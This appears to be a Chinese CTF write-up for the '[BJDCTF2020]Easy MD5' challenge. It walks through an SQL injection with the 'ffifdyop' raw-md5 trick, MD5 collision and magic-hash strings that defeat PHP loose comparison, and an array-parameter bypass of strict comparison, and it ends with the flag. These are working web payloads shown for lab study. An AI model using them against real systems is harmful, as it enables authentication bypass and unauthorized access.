CTF常见MD5
CTF常见MD5
[BJDCTF2020]Easy MD5
拿到题目:
随便递交试一下
看到header中有提示
select * from 'admin' where password=md5($pass,true)
只用 password=md5($pass,true) 为 true 的时候才会执行 select * from 'admin'
这里可以用到 ffifdyop
md5($pass,true)
md5()函数会将我们输入的值,加密,然后转换成16字符的二进制格式,由于ffifdyop被md5加密后的276f722736c95d99e921722cf9ed621c转换成16位原始二进制格式为'or’6\xc9]\x99\xe9!r,\xf9\xedb\x1c,这个字符串前几位刚好是' or '6
就相当于select * from admin where password=''or 1
可以实现sql注入
MD5加密 | 276F722736C95D99E921722CF9ED621C |
---|---|
16位原始二进制格式 | 'or’6\xc9]\x99\xe9!r,\xf9\xedb\x1c |
string | 'or’6]!r,b |
提交,调到一个新连接
查看源代码
md3碰撞:
<!--
$a = $GET['a'];
$b = $_GET['b'];
if($a != $b && md5($a) == md5($b)){ //当 a,b值不相等 , 但是md5加密a,b后的值相等
// wow, glzjin wants a girl friend.
-->
真实md5碰撞,因为此时不能输入数组了,只能输入字符串
a=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2&b=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2
也可以
?a=QNKCDZO&b=s878926199a
又跳到新页面
<?php
error_reporting(0);
include "flag.php";
highlight_file(__FILE__);
if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
echo $flag;
}
考的是MD5强碰撞,如果传参不是字符串,而是数组,md5()函数无法解出数值,就会得到===强比较的值相等
post
得到flag:
flag{06aebdeb-f184-4bf4-a8eb-c92dede7f96d}